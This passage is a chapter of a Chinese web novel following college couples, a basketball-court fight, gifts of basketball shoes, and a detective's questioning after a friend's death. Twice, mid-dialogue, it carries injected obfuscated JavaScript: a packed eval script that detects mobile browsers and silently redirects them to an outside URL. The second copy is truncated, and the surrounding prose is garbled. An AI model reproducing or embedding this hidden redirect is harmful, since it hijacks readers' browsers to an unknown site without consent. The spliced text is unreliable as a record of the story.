宿舍很安静,另外三个舍友都老老实实去上课了。他坐起身,伸腿将被子勾了回来。她在干嘛?是不是也在睡懒觉。高数是经管类专业的必修课,是为数不多能够多专业混上的课程,但他没能和她选到一个老师,这也让他彻底失去上高数的动力。 好想她啊,他摸向杂乱的床头,那里放着游戏机、书、充电线、纸巾等等。他从纸巾下面翻出手机,仰躺着给对方发了一条消息。下一秒,那张清秀标致的脸庞出现在天花板上。 第一次听到她的名字是在上学期。新生入学时,男生们凑在一起免不了对本班的女生品头论足,而且评论范围很快就扩大到整个学院。“咱们专业美女少,也就……”“市销有几个不错。”“对对,那专业挑长相。”“哈哈,都懂。”他也兴致勃勃的加入俗气的谈话,听同学们说起好看女生的名字,就好像他们和对方很熟一样。 他就是在那时听到了她的名字,这是一个听上去很文静的名字。后来年级活动见到对方时,他发现对方有着和名字一样的脸庞。对方可能发现他在看她,那双杏仁般的眼睛瞬时笑成一条缝,笑容甜美就像炎炎夏日中的一窝清泉。 想谈恋爱!他心动了,有这样的女朋友走在身边肯定很有面子。不得不说,起初的心情是占有的欲望大于喜欢,对方姣好的面容勾起他作为雄性人类的本能——征服。 好在这样原始粗鄙的想法没能持续太久。有一天对方上体育课,他专门挑这个时间去打篮球,好将自己英姿飒爽的一面展现给对方。他个子高,弹跳好,灌篮轻而易举。可惜的是,对方那天有些狼狈,无暇顾及他事。他看见她皱着眉毛跑在塑胶跑道上,仿佛下一秒就要摔倒。冲过终点时,对方的脸很红,掐腰弓背差点坐在地上。 心情就是在那一刻出现变化。文静的女孩看起来认真又倔强,他想保护她。 要对她好,他暗暗发誓。 …… 床头的手机振了,马暗尘长吐一口气,那张认真又倔强的脸消失在脑海中。他坐起身伸了一个懒腰,将攒成一团的纸巾扔进床下垃圾桶。 “不行,刚起。会去看比赛,还请手下留情。”——对方是这么回复的。一共十五个字,他数了数笑出声音,算是有进步。至于手下留情嘛……绝对不可能。他今天注定要大放异彩,在她的面前打败她的同班男生,向她证明他是最强的男人。为此,他特地剪了新发型,买了一双足以让周围男生羡慕的新篮球鞋。 这双球鞋是限量版,价格不菲,几乎花光他积攒多年的压岁钱。同年级能买得起这双球鞋的人屈指可数,他就是要从运动能力和经济实力两个方面证明自己,让那些潜在的竞争对手相形见绌,即使买完鞋他都快要破产了。 谁也别想抢走她,叶微瑄是他的女孩,他想。 下午起风了,空气中的沙尘浓度肉眼可见。篮球赛改在室内举行,比赛前半个小时,篮球馆已人满为患。大学生的篮球赛不缺围观群众,哪怕是一个小小的院内比赛,场边氛围也热烈的到了剑拔弩张的程度。按辅导员的话说:“这是好事,说明你们没有丢失集体荣誉感。”但学生真的是为了各自专业的荣誉来看比赛吗?事实真相只有那些东张西望的学生清楚。 “快看,马暗尘来了!”陶涂涂叽叽喳喳地声音出现在叶微瑄的耳边,“他好像换发型了。”她和叶微瑄是老乡,又在一个班,自入学两人就经常黏在一起。 叶微瑄顺着陶涂涂的视线看过去,马暗尘理了一个短碎发,两侧铲青,显得耳朵更大了。对方双手插兜,正笑着站在不远处朝她们打招呼,看口形像是在叫“小瑄”。 她微微颔首,视线穿过对方,嘴角高高扬起。“零零!”她不停挥手,“这里、这里。”马暗尘人高马大的,挡住了楚零。她原地蹦了两下,楚零从马暗尘身后探出脑袋,朝她小跑过来。 “这是陶涂涂,你见过的。”叶微瑄介绍两人认识,“楚零,工商管理专业的,记得吧?”话没说完,阴影从天而降,她抬起头。 “我是马暗尘,也是工商管理专业的。” “咯咯咯”,楚零和陶涂涂笑出声音。叶微瑄也想笑,但是忍住了。她撇了撇嘴,抱怨似地道了一句“起开”。 “我劝你最好对我客气点,不然一会儿我就要大杀四方了。”马暗尘嘻嘻哈哈地说道,“这场比赛毫无悬念。” 对方说的是实话。市销、会计、行政管理等专业男生少,院队三分之二的队员来自工商管理。市销专业能够上场的球员一共只有八人,包括向几人走来的顾锵然。 顾锵然给人的印象一向是文质彬彬的,今天也不例外。他身高一米七五左右,戴着一副窄边眼镜,红色的篮球服里套了一件白色T恤,这让他看起来没那么单薄。相较于马暗尘护膝护腕齐备,他的衣着不算专业,没有穿篮球鞋。 顾锵然与叶微瑄、陶涂涂是老乡,也是朋友,两人自然对他十分热情。叶微瑄转身从提前准备的纸箱中掏出一瓶水,顺便将楚零介绍给对方。 “我怎么没有水?”马暗尘瞥了一眼顾锵然,眼神中满是敌意,语气也不似刚刚那般友善。 “这是我们班——”叶微瑄话说一半怔住了,转念一想,要不给他一瓶吧,省的找事。“给。”她也递给对方一瓶。 “谢了。”马暗尘恢复嘻嘻哈哈的模样,“还有你,明明是我们工管的,怎么跑市销这边来了?”他看向楚零,像是在调侃,“咱班在那边呢,别站错队。” “我就站这里。”楚零说。 “管那么宽干嘛?”叶微瑄听不下去了,“你不也在我们这儿凑热闹呢嘛?赶紧走,休想窃听我们的战术。” “你们还有战术?”马暗尘夸张地笑了两声。转身离开前,他仰着脖子垂下视线,由上到下的打量顾锵然。顾锵然没有理他,始终低着头,目光落在他的新鞋上。 比赛准时开始,争球得手的工管球员将球传给马暗尘,对方用一记漂亮的急停跳投拿下本场比赛的第一个两分,比分也就是从这一刻被拉开距离。挡拆、突破分球、外围出手,工管的球员总能在恰当的时机跑到恰好的位置。进球的欢呼声在场边频频响起,负责计分的同学干脆站到记分牌写有“工管”两字的一侧。 市销的球员也很努力,只是大汗淋漓的表现没能帮他们换取应有的分数。被封盖、被抢断,篮板也很吃力,他们手忙脚乱地打着配合,只不过多数时间连球都传不出去。 “啊——就差一点。”叶微瑄露出一个遗憾的表情。顾锵然替补上场,上篮时差点得手,可惜被马暗尘干扰了。马暗尘得意地从她面前跑过,摊开双手做了一个鬼脸。“这人好讨厌。”她回头看向陶涂涂和楚零,“真想给他薅下来。” “你可以的。”楚零笑道,“他听你的。” “零零知道这事?”陶涂涂睁大眼睛,惊讶地问道,“你知道马暗尘喜欢小瑄?” 楚零点头,马暗尘表现的不明显么?而且叶微瑄告诉过她,马暗尘不仅坚持不懈的送花、送奶茶,每天早上还会表白一次,然后被拒绝。 “你为什么不答应啊?”陶涂涂转而问叶微瑄,“他还不错啊,对你死心塌地的。” “不知道。”叶微瑄随口答道,就好像说的不是自己的事,“哎呀,锵然又没进,急死我了。” “你不会喜欢顾锵然吧?” “怎么可能。”叶微瑄摇头否认,“那是咱们的朋友。” “我觉得那男生挺好的。” “啊?”她看向说话的楚零。 “他挺有礼貌的。”楚零单手揪了揪耳垂,“他好像很随和,不像马暗尘那么张扬。” “这倒是。” 对同学品头论足不止是男生的专利,女生也一样,而且女生讨论的对象范围更大。除了帅气的男生,还有漂亮的女生,就比如场边观战的校拉拉队成员。 “学姐的鼻子好好看,我就想要那样的鼻子。” “动动刀不是不可以。” “哈哈哈”,叶微瑄几人有一搭没一搭地说笑着,没注意到场内出现了骚动。 “干嘛呢!几次了!”满是怒火的吼叫声突然出现在场地内,场边传来几声尖叫。叶微瑄、楚零、陶涂涂立刻看向球场。两个班的球员围在市销的半场,互相瞪着对方,你推我攘。马暗尘站在最中间,他右手抓着顾锵然的领子,用力向上提,左手握成了拳头。 叶微瑄皱起眉毛,看来一瓶水并不能安抚马暗尘躁动的内心。难道有的事注定会发生吗? 激烈的争吵声很有吸引力,越来越多的同学涌上前。看表情,帮腔打架的远比劝架的人要多。叶微瑄三人也跑过去,挤在外围试图听清人群里的对话。 “你再说你不是故意的?你瞧瞧我脚上的鞋印,成心!” “我有必要冒着崴脚的风险踩你吗?”顾锵然一只手扒着马暗尘的右胳膊,一只手扶了扶眼镜,“松手。” “听见没有,松手。”“打他,别听他胡说八道。”“小动作太多,真脏。”“你说谁脏?”“说的就是你。” 吵闹声愈发的大了,两拨人蜂拥而上,互相叫骂着,随时可能扭打在一起。体育部的学生大喊着“别吵了”,但是没有人听。 “得赶紧把锵然拉出来,他哪打得过马暗尘。”叶微瑄和另外两人说道,那两人慌忙点头。她强行扒开人群挤了进去,就在她要抓住顾锵然时,她的手僵住了。 马暗尘会眼睁睁地看她带走顾锵然,然后就会…… 她咽了一下口水,回头递给后面两人一个眼神。“你们带走锵然。”说完,她挤到工管的队伍中,握住马暗尘的手腕。“马暗尘。” 马暗尘的额头布满愤怒的汗珠,冰凉的触感令他吃了一惊。他看向一旁,扬起的拳头停在半空中。 “别打架,会被处分的,咱们走。” 吵闹与喧嚣在躁动的空气中爆炸,嫉妒的怒火在十九岁少年的心中熊熊燃烧。幸运的是天降甘霖,夏日清泉化为雨水安抚了炽热的大地。 “走吧,好吗?” 他慢慢放下拳头。双腿仿佛不听使唤似的,任凭叶微瑄牵着他走出人群。 二人在众人惊诧的目光中离开体育馆。叶微瑄始终没有松手,她牵着他走了很久。 两人走到图书馆旁的小树林,在长椅上落座。天色见晚,每隔十几米就能看见年轻的恋人。这里是约会的地方,叶微瑄不介意坐在她身边的人是马暗尘。正相反,她竟然感到习惯。 “锵然踩到你了?”她松开手,关切地问道。 “嗯。” “相信我,他肯定不是故意的。” “可能吧。” “不是可能,是一定。”叶微瑄在最后两个字加了重音,“我了解他。事先声明,是出于对朋友的了解。他是个老实人,也很有礼貌。” “哦。” “信我嘛,好不好?”她又拉起对方的手腕,摇了摇。 马暗尘不是不信,只是暂时失去了语言能力。他的大脑一片混乱,刚刚被安抚的内心又变得火热,心脏好像疯了,正在毫无规律地跳动。 “说话呀,平时不是挺能说的嘛?” “嗨……我……”他浑身烧得慌,两个耳朵红的就像天边的余晖,“没事,鞋脏了回去擦擦就好。”他踢了一下地,力度有点大,扬起一片灰尘。 叶微瑄笑着扇了扇面前的空气。“你的新鞋挺好看的。换我被踩,我也会生气。”她由衷地说道,“不过这不是什么大事,但打架是要吃处分的,得不偿失,你说呢?” “是,你说的对,是我冲动了。” “那今天这事就算过了?” “过了,不是什么大事。”马暗尘摸着手腕笑道,那里尚存余温。合适的温度让他恢复理智,也找回之前的勇气。“小……咳、咳,小瑄。” “干嘛?” “我马暗尘能屈能伸,你下次把那个顾什么的叫来,我和他道歉。” “啊?不必了吧,再打起来就不好了。他可打不过你。” “怎么?你心疼他啊。” “什么呀?”眼见对方又要急,叶微瑄赶忙摇摇头,“瞎说什么呢。” “那就叫出来一起喝顿酒,全当认识女朋友的娘家人了。” “什么?” “喝顿酒。” “咯咯咯”,叶微瑄笑出声音。马暗尘没忍住,也大笑起来,惊动了草丛里的麻雀。 “好吧。”笑声过后,她看向对方的眼睛,轻轻说道,“就听你的吧。” 日积月累的关心与表白悄无声息的沉在心底。叶微瑄闭上眼睛,内心泛起涟漪。那些诚挚的举动如同一滴滴干净的水珠,最终水滴石穿,润化心田。 夜幕如期降临,尘埃落定,林间现娓娓细语。 这晚叶微瑄答应马暗尘介绍顾锵然与他认识,不过她也嘱咐马暗尘,顾锵然家境一般,既然想认识就要照顾对方的心情,别穿的太夸张,不然玩不到一起。马暗尘起初不明白她的意思,直到她颇为无奈地说——“收起你的新球鞋”,对方才恍然大悟。 “我的鞋是不是很帅?你也觉得吧!放心,以后不穿了,限量版的我也舍不得。”马暗尘说完这话,露出一个十分神气的表情,目送她走进女生宿舍楼。 多日后,当叶微瑄牵着马暗尘的手站在几人面前时,楚零、陶涂涂,顾锵然三人惊讶到失声。顾锵然没想到,叶微瑄要介绍给他的新朋友是差点揍他一顿的马暗尘。他下意识地瞄了一眼马暗尘的脚,对方穿了一双普通的板鞋。 不打不相识,圈子里多了一个男生,顾锵然非常高兴,因为总有人说他喜欢和女生混在一起。这天在不大的焖锅店,他喝了很多酒,话也变多了,很快就和马暗尘称兄道弟。他当着所有人的面给家里打电话,向他的妈妈介绍新认识的兄弟。马暗尘也喝多了,对着手机大叫“阿姨长、阿姨短”的。 “锵然很孝顺,每周五的晚上都会给家里打电话。”楚零小声说,“雷打不动。” “这你都知道?”接话的是陶涂涂,“你们一个个都恋爱了,我该怎么办啊。”她的担忧像是真的,自顾自地干了一杯酒。 “涂涂,我没……” “零零?”叶微瑄挑起眉毛,她对此毫不知情。“你什么时候和锵然好了?才认识多久?” “还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506577|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……确定呢。” “什么叫还没确定?” “行了,我看很快就能确定了。”陶涂涂瞥向一边。 顾锵然挂断电话,正向马暗尘讨教恋爱经验。两人旁若无人、面红耳赤地讨论着人生大计。不一会儿,马暗尘忽然起身,一步三晃地对三位女生说:“咱们撤吧,我带锵然回宿舍玩会儿。” 不定憋什么坏主意呢。叶微瑄与楚零、陶涂涂互相交换了一个眼神,没有戳破他们。这个年纪的男生很难藏住心中的秘密,至少叶微瑄三人是这么认为的。没过几天,顾锵然就用行动证明了她们的想法。一向内敛的他买了九十九朵红色玫瑰花,在一个风和日丽的上午,他将这束花送给了楚零。 好幸福,这感觉竟然比自己恋爱还要幸福。泪水划过叶微瑄的脸庞,她看向玫瑰花后面的那张脸。楚零笑得很开心,笑容明媚,澄澈的目光在鲜花中闪耀。 两个好闺蜜前后脚恋爱,这让她们之间多了不少新话题。学习之余,她们常常聊起爱情,有时是分享,有时是抱怨,偶尔也会骂上两句。 “你们会说早安晚安吗?”“当然,暗尘太黏人了。”“锵然总给我买好吃的。”“我俩又吵架了。”“我好像在养儿子。”“好烦大男子主义。”“他约我出去旅行。”“他们是商量好的。”“我们知道彼此的手机密码。”“厉害,我俩可做不到。” 热心的她们没有忘记单身的陶涂涂,试图帮对方物色对象,这样三人就可以一起讨论爱情了。可陶涂涂嘴上抱怨,行为上却做着相反的事。学校周围有不少夜店酒吧,陶涂涂是那里的常客,喝醉也是常有的事。叶微瑄和楚零总能看见她打扮的花枝招展的,和新人站在夜店门口吃烧烤。“只是朋友啦!”——对方如是说。 “有时挺羡慕涂涂的,活的真潇洒啊。”叶微瑄在楚零宿舍,双手抱着椅背,跨坐在椅子上。宿舍只有她们两人,其他舍友去图书馆了。“叫我来什么事?”她问。 “锵然十一月生日,我在想送什么生日礼物。” “啊?”叶微瑄心头一紧,内心产生一丝异样,“现在才几月,是不是考虑的有点早?” “要早做打算。关于买什么,我有点犹豫。锵然好像很喜欢暗尘的新篮球鞋,就是打架那天,暗尘穿的那双。” “不是吧……” “怎么了?” “没有。”叶微瑄抱紧椅子,“你想送他篮球鞋?”她用试探的语气问道。 令她感到意外的是,楚零摇了摇头。“一开始是,现在没那么确定。锵然是说过喜欢球鞋,但马暗尘和他说,那个牌子的鞋就是看着好看,性价比不高,同样的价格可以买好几双其他牌子的球鞋了。若只是为了收藏,等工作再买也不迟,现在没必要花冤枉钱。他自己都不穿了。锵然和我说,他觉得暗尘说的有道理。” 叶微瑄听闻,对马暗尘心生感激。交往久了,她发现马暗尘莽撞的外表下,有一颗细腻的心。 “而且,过生日送鞋是不是不好?” “是的,没错,最好不要送鞋。”情报解除,叶微瑄放松地趴在椅子上,下巴抵住椅背上沿,翘起椅子的两条腿。“送点别的吧。” “是吧。”楚零露出一副下决心的表情,“既然你也觉得送鞋不好,我就不送了。锵然还喜欢暗尘的游戏机,我打算买一个送给他。” “什么?”叶微瑄猛地坐直身体。椅子腿敲打地面,声音响亮。 “你和暗尘不是总一起玩嘛,锵然说等他有钱了,也买一个。他喜欢玩游戏,也想和我一起玩。” 叶微瑄心下了然。她和马暗尘喜欢玩益智类游戏,不过经常为此吵架。在游戏方面,他们毫无默契可言。只不过他们吵得欢,和好也快,二人又陆续买了两三款适合恋人的游戏。 游戏机的价格在两千五百元左右,不比篮球鞋便宜。而且游戏机只是个开始,游戏才是最花钱的,一盘游戏动辄要三四百。自恋爱后,叶微瑄的手头明显紧了。昨天,她和马暗尘望着路边豪华烤冷面,没舍得买。最后,二人回宿舍吃的泡面,还是袋装的。 “小瑄,我有个不情之请。”见叶微瑄沉默,楚零叫她。 “你说。” “我不是很懂游戏。你能不能借暗尘的游戏机给我看看,我想看看型号和配置,我怕买错了。但是,千万不要告诉暗尘是我借的,他会告诉锵然的。” “零零。”叶微瑄皱起眉毛,“锵然想和你一起玩游戏,我可以让暗尘把游戏机借给你们,没必要买新的。再说了……”她不好意思说出口,“你……” “我知道你想说什么,游戏机很贵,对不对?没关系的,我知道你是为我好。我想好了,这不马上放暑假嘛,我去打工,一个游戏机的钱还是很容易攒的。” “不好吧。”她琢磨着措辞,却发现只有实话实说才能表明自己的意思,“先不说打工挣钱,这样的消费明显超出你和锵然的经济能力了。”说到这,她怔了怔, “我们是不是该脚踏实地……是不是该在能力范围内去爱对方呢?这样大家都不会很累。” “我懂你的意思,但是锵然真的很喜欢那款游戏机,他总和我提。你是不知道他每次聊起游戏有多兴奋,如果能收到游戏机,他应该会很高兴。” “他喜欢的东西多了。如果他说他喜欢市中心的楼,你也要攒钱买给他吗?楚总?” “哈哈哈,讨厌死了。”楚零笑着打了她一下。 “换个别的礼物吧,你说呢?” 房间安静了,楚零低下头,靠在桌子边缘一声不吭。半晌过后,她缓缓开口:“小瑄,锵然的生活费也不多,表白那天不仅送了九十九朵玫瑰花,还请我吃饭。我后来才知道,他为此吃了半个多月的泡面。” “从小到大,我收到的礼物屈指可数。我家的情况你了解,爸妈送过我的最好的礼物就是这个杯子。”楚零看向手边,那里有一个浅绿色的保温杯,杯面图案是一根发芽的柳枝。她对着杯子露出一个淡淡的笑容。 “我不是在抱怨,因为我知道爸妈已经在力所能及的爱我了。省吃俭用,供我上学,尽量不让我感受到压力。锵然给我的感觉也是这样,你能明白我的意思吗?他几乎把拥有的最好的都给我了。所以,我想我也该这样。” “零零……” “努力打工,用亲手挣的钱送他喜欢的礼物,他会很开心,而我也会因努力的过程感到充实。这大概就是爱情的意义之一吧。” 楚零说这话时的表情很真诚,叶微瑄找不到反驳的理由。仔细想想,对方和顾锵然的相处模式就是这样的。上了大学,眼界开阔了,看到的东西也更多了。他们可能会羡慕其他同学时髦的衣着、先进的电子设备,但他们也没有因此给别人造成困扰。他们只是在试着努力,互相满足,送给彼此想要的东西。这难道有什么问题吗? 没问题,叶微瑄心想。青春不就是这样?总会为了喜欢的人、想做的事去搏一把。没有篮球鞋,也会有游戏机。面对岔路口时,即使可选择的路再多,执念也会让他们选择一条相似的路走下去。懵懂的信念刚刚成形,这就是当下能力和想法会引导他们做的事。 不劝了吧,叶微瑄微微一笑,眼眶湿润,泪水渐渐模糊了双眼。楚零真诚的笑容若隐若现,对方又说话了,好像在问她:“为什么哭呀?” 叶微瑄抹着眼泪,摇摇头,想告诉楚零“没哭”。只是悲伤的情绪抵住胸口,她张了张嘴,终究没能发出声音。 11. 篮球鞋5 一声抽泣划破冰冷的空气,叶微瑄醒了。眼睛很酸,左胸口的位置有点难受,心脏快速地跳动着。 竟然在沙发上睡着了,她做了一次深呼吸,坐起身。梦境再一次告诉她,改变某一时刻的行为——以为这样就能换取不同的结果,可能没有想象中的那般顺利。 而且……她解锁手机,看见两双篮球鞋的照片。当初真是自大,劝楚零不要送篮球鞋,明明她自己也是这样。 “先花我的,再花你的。”大学时代的马暗尘总是这么和她说。 她也总是回答:“都一样。” 确实都一样。买游戏、排号吃网红餐厅、打卡城市周边的景点……他们一起做过很多事,每到月底二人便会陷入经济危机。不过就算是啃两顿馒头,吃几天泡面,他们也没觉得有多辛苦,反而乐在其中。快乐藏在腻了的泡面味道里,肆无忌惮的大笑声在美好的记忆中回响。 叶微瑄抱起双腿,内心久久不能平静。 由于不想被打工耽误约会,大学时的她厚着脸皮请求爸妈涨生活费。第一次请求很顺利,丘静和叶建文没有多问。第二次要钱时,父母向她投来怀疑的目光。她没打算隐瞒,向他们坦白了恋情,只是没提具体是谁。 选择坦白还有一个原因。自从和马暗尘交往后,叶微瑄再也没见对方穿过那双限量版的篮球鞋。她以为就像马暗尘说的那样,鞋被好好收起来了。直到有一天陶涂涂告诉她,马暗尘把那双鞋卖了,买鞋的学弟是陶涂涂最近的新欢。巧的是,马暗尘卖鞋的时间离叶微瑄的生日不远,她很喜欢对方送的生日礼物——一条精美的水晶项链。得知真相时,叶微瑄觉得马暗尘就是她今生要嫁的人。 虽然没有告诉父母男朋友的名字,但她会时不时的在二人面前提起马暗尘,偶尔也会带上顾锵然,以免夸得太过明显。毕业后直接将暗尘带回家,她无数次心想。可惜事与愿违,他们分手了,毕业后回家的只有她一人。 自楚零葬礼之后,马暗尘一直在约她,但她提不起心气与对方见面。马暗尘想与她和好,可就像分手时说的那样,裂开的信任就像破碎的镜子,他们不会再好了。或许和楚零一样,她们都不后悔当初的选择。她也感激马暗尘,那些快乐真实存在过。 没想到会梦见马暗尘,她退出与边何的对话框。果然,今晚如往常一样,马暗尘又给她发消息了。 【小瑄,什么时候可以见一面?我想和你聊聊零零,也有话想对你说。】 …… “我是不是说多了?你明明是找我了解零零,却听我讲半天和小瑄的爱情。”马暗尘向后扬着脖子,四仰八叉地躺在椅子上。他的对面坐着边何。 边何今天是按计划来找马暗尘了解楚零生前情况的。马暗尘家离叶微瑄家不远,准确的说是离叶微瑄父母家不远。对方是合租,同屋室友是一个公司的同事。现在正是忙的时候,马暗尘到家已是晚上九点多了,他的室友依然留在年会会场忙于场地搭建工作。 为什么合租?边何随口问了一句。对方回答的很干脆,因为没有女朋友。 马暗尘的房间是这套小两居的主卧,朝南,带一个小阳台。房间很乱,到处都是拧巴的衣服,墙角还有几双袜子。屋内家具简单而实用,仅有一张木板床、书桌、椅子和一个看上去随时都会塌的组合衣柜。 分手是好事,不然他俩的家得乱成什么样。得知马暗尘是叶微瑄前男友时,边何在心里呐喊——“分的好。” 他与马暗尘的聊天从提到“叶微瑄”三个字的那一秒就偏离了主题,距落座不过五分钟的时间。马暗尘喜欢聊前女友,边何也没有打断对方。虽然不想听他们的恋爱细节,但借此机会了解叶微瑄也是挺有意思的。 见边何没有回答,马暗尘自顾自地又说道:“女人这种动物很神奇,比想象中的绝情许多。说分手就分手,根本不是在闹脾气。” “你触碰她的底线了。” “就那一次。我是和她吵架了心情不好,想发泄才去的夜店,没想到会喝多。我也是倒霉,偏偏碰到陶涂涂那个大喇叭。”他笑出声音,边何却听出了其中的苦涩。“我承认是我的错,喝多以后我就是很想做。”笑声平息,他淡淡地说道。 如果只是喝醉,倒也不至于分手。马暗尘醉酒后,带刚认识的女生去了校门口的酒店,第二天早上被陶涂涂在大堂撞个正着。当天下午,叶微瑄就知道了这件事。 面对女朋友的质疑与愤怒,他没有否认。可能是荷尔蒙作祟,也可能是酒精放大了新鲜感,一晚的欢愉竟让他疲于解释,其中不免也带着赌气和得意的成分。只是没想到,晚上他就失去了交往近三年的女朋友,速度快得让他以为酒没醒。 “分手吧。”——叶微瑄发了这三个字,然后就把他删了。意识到叶微瑄是认真的已是几天之后,期间对方从没有找过他,也从不接受他的好友申请。这时他才发现,一时的新鲜感弥补不了失去的“爱”和长久的习惯。 “我知道小瑄的上课时间,就去宿舍门口堵她。她不理我,我就跟着她,她去哪我去哪。那会儿是大三下半学期的期末,她骗我说考完试再说。我信了。等考试周结束再去找她时,她的舍友说她考完当天就回燕京了。”马暗尘无奈地说道。 确实像叶微瑄的行事风格,边何垂下视线,嘴角泛起一丝笑意。那个女人看着很随性,可一旦做了决定就会义无反顾的坚持到底。之所以这么想是他发现叶微瑄这两天有了新动向,不过他不打算把自己的发现告诉马暗尘。 “你来燕京工作也是为了叶微瑄吧?”他问。 “是的,恋爱时我就决定毕业来燕京工作。我、小瑄、零零、锵然、涂涂早就说好了,我们五个要齐聚燕京。只是没想到,我和小瑄分手了。为此,我很早就来燕京实习了。交往时我给小瑄快递过礼物,所以知道她家在哪,就在这附近租了房子。”马暗尘摊开双手,“我就是想离她近一点,希望她可以原谅我。” “我看你们在楚零葬礼那天还挺熟络的,她已经原谅你了吧?”这话带有打探的成分,边何故意压低声音,以免被对方发现自己的意图。 “临近毕业时,她接受了我的好友申请。她说她原谅我了,但我们不会再好了。” “这样啊……”边何露出一个同情的眼神,只不过不是给马暗尘的。边何心中,叶微瑄十分重感情,想必对方那段时间也不好过。 “所以我说,女人很绝情的。你看零零不也是,说走就走了。”马暗尘的目光变得黯淡,“真是没想到。” “哦对了。”边何差点忘记正事,他将两双篮球鞋的照片放到对方面前,“你对这两双鞋有印象吗?” “这不是锵然的鞋吗?” “对。顾锵然说,这两双鞋是楚零送给他的。一双是恋爱半年后送的,一双是前不久才送的。” 马暗尘点头,眼神似乎在说:“这有什么稀奇的。” “看来你们几个的关系是真不错,竟然连互相送什么礼物都一清二楚。” “嗨,不是的,小瑄曾因球鞋的事和我大吵一架。当时我正在追她,那次吵架是她对我说话说得最多的一次。”又提到爱的人了,他的眼睛不自觉地笑成一条缝,“也正是因为那次吵架,我们才在一起的。” “啊?为什么吵架啊?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“啊?” “就像你说的,恋爱总不是一帆风顺的。楚零和顾锵然是遇到什么事了吗?” 马暗尘收起幸福的笑意,缩了缩脖子。“恋人间总会有小摩擦的。”他小声说道。 不对,边何心想。马暗尘的表情像是知道什么,顾锵然是个男的,遇到恋爱问题八成不会找女性朋友倾诉。他可能和马暗尘说过什么,才会让马暗尘怀疑楚零的“自杀”与对方有关。 “顾锵然和你说过什么吗?”他直截了当地问。 “说过一些小事吧。”马暗尘挠了挠后脖颈,“也不是什么重要的,比如……哦,锵然不是把家里的茶几搬到零零家了嘛,其实零零不想要,两人就因为这个吵了一架。嗯……都是这些小事。” “好吧,我知道了。”边何没有继续追问,他知道自己无法从马暗尘嘴里得到任何有价值的线索了。他换了一个话题,确认对方案发当天的不在场证明。那天马暗尘一早去了隔壁省,第二天才回来。 十一点左右,马暗尘的室友到家了,边何起身告辞。马暗尘打算送送他,随手抓起床上的外套,露出了下面的米色毛绒小熊。小熊的脖子上系着粉色的蝴蝶结,可爱俏皮的模样让边何觉得有些眼熟,好像是在哪见过。 他很快就想起来了。理性告诉她分手,感性却让她怀念,是这样吧?叶微瑄清秀的脸庞出现在边何的脑海中,这张脸近期出现的有点频繁啊。 见边何目不转睛地盯着小熊看,马暗尘大方地笑道:“这熊小瑄也有,是情侣款。”他拎起小熊,轻轻掸了掸,“我不想放弃,我觉得小瑄还喜欢我。那天去过她家后,我更加相信自己的判断。小瑄还留着这只熊,而且摆在了明显的位置。” 是这样吗?边何不认同马暗尘所言。不过望着那张满是期待的脸,他还是配合地说:“希望吧。” 12. 梦的启示1 新年的钟声已敲响,运动卖场的客流量从周四晚上就开始上涨,尤其是户外用品区。即使现在是冬季,徒步和登山爱好者们也没打算闲着。部分狂热的爱好者已对平平无奇的行走和攀登失去兴趣,狂风、暴雪、低温才是他们想挑战的。恶劣的场外因素就像佐餐的甜酒令他们感到兴奋,更重要的是,这些要比唾手可得的甜酒难得到的多。 “又来啦?这个牌子的速干衣不错。” “我有一件类似的。”徒步区附近,一位女客人欢快地说道,面前的工作人员举着一件黑色的速干衣,“看看再说。” 周末要和朋友们去徒步,她很开心。她是一位户外运动爱好者,常在公众号报名参加活动,也因此拥有很多社群。群友们会分享新发现的徒步登山路线,也会分享知识经验和专业装备。这家运动卖场也在群友的推荐之列,久而久之,她成为这家店的常客,有自己熟识的工作人员。 “那就再看看别的。”面对老顾客,男性工作人员很热情。他的脸很圆,就像不远处整齐码放的飞盘。他随客人拐到货架的另一面,货架上挂着一排速干裤,以黑色、灰色为主。 啊呀,看不到了。叶微瑄将脖子缩了回来,长吐一口气。她已通过试岗培训,成为运动卖场的一名兼职,今天是她工作的第三天。令她感到郁闷的是,副店长依照个人兴趣爱好将她分配在了跑步区。 另外,考虑到她的要求和店内需求,她的班次被安排在下午到晚上的时间段,通常是四个小时,工作内容无非就是清点库存、整理货架,以及进行简单的销售工作。昨天,她接到人工智能公司的电话,最后一轮面试定在下周一,留给她调查楚零生前工作环境的时间并不多。 刚刚在徒步区为客人介绍产品的男性工作人员叫郭宇,是负责户外运动的部门经理,徒步区在他的管理范围内。叶微瑄面试时遇到过他,当时是对方给她开的门。由于郭宇是楚零在卖场的直属领导,叶微瑄便对他多了几分关注。如果只是看脸,郭宇会给人一种憨厚老实的印象,但她知道那是假象,因为楚零生前不止一次和她吐槽过——经理很精明,喜欢鸡蛋里挑骨头。 才兼职三天,她暂时没有向同事打听楚零的事,也没有契机。同样的,公司上下也没有人和她提起过楚零,就好像对方从未在这家公司工作过。有时她甚至会怀疑:同事们知道零零去世了吗?当然,她知道这样的怀疑属于多此一举。 不过她还是有发现的。入职当天,她便得知卖场的原店长离职了。具体离职时间尚未可知,但足以让人感到奇怪。楚零曾说过,店长是一个很好且十分上进的人,正在为海外学习机会而努力。 卖场肯定有问题,要是能去徒步区兼职就好了,她又朝那个方向望了一眼,顺便将客人弄乱的跑鞋放回原位。为什么就不能物归原位呢,她在心里抱怨。 “没想到卖场的跑鞋这么贵啊。” 身后传来调侃的声音,听着有点耳熟。叶微瑄扭头,慢慢睁大眼睛。 “你这是什么表情?”对面的人嘴角上扬,笑出声音。 边何怎么来了?为了调查零零的案子?她的心跳微微加速,紧张地四下张望。附近的客人在自顾自地挑选产品,不远处的经理在回答客人问题,暂时没人注意到她。 